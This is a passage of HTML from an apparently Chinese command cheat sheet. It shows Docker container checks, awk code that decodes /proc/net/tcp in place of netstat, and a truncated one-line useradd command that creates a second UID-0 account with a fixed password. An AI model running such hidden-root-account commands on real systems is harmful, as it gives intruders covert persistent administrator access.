!important;white-space: inherit !important;"> file</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">docker ps </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">q </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> xargs docker inspect </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">f </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{{.Name}} {{.State.Running}}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> grep </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cut </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c2</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> awk </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{print &#34;docker exec &#34;$1&#34; [ -f /lib/ld-musl-x86_64.so.1 ] &amp;&amp; echo &#34;$1&#34; has this file&#34;}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sh</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">无netstat看网络连接</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">单项</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">grep </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;rem_address&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">proc</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tcp  </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> awk </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;function hextodec(str,ret,n,i,k,c){</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    ret = 0</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    n = length(str)</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    for (i = 1; i &lt;= n; i++) {</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        c = tolower(substr(str, i, 1))</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        k = index(&#34;123456789abcdef&#34;, c)</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ret = ret * 16 + k</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    }</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    return ret</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">} {x=hextodec(substr($2,index($2,&#34;:&#34;)-2,2)); for (i=5; i&gt;0; i-=2) x = x&#34;.&#34;hextodec(substr($2,i,2))}{print x&#34;:&#34;hextodec(substr($2,index($2,&#34;:&#34;)+1,4))}&#39;</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">双向</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">awk </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;function hextodec(str,ret,n,i,k,c){</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    ret = 0</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    n = length(str)</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    for (i = 1; i &lt;= n; i++) {</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        c = tolower(substr(str, i, 1))</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        k = index(&#34;123456789abcdef&#34;, c)</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ret = ret * 16 + k</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    }</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    return ret</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">function getIP(str,ret){</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    ret=hextodec(substr(str,index(str,&#34;:&#34;)-2,2));</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    for (i=5; i&gt;0; i-=2) {</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ret = ret&#34;.&#34;hextodec(substr(str,i,2))</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    }</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    ret = ret&#34;:&#34;hextodec(substr(str,index(str,&#34;:&#34;)+1,4))</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    return ret</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NR &gt; 1 {{if(NR==2)print &#34;Local - Remote&#34;;local=getIP($2);remote=getIP($3)}{print local&#34; - &#34;remote}}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">proc</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tcp</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">Linux一条命令添加用户</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">useradd </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">p </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">`openssl passwd -1 -salt &#39;salt&#39; P@ssw0rd`</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ibm2 </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">u </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 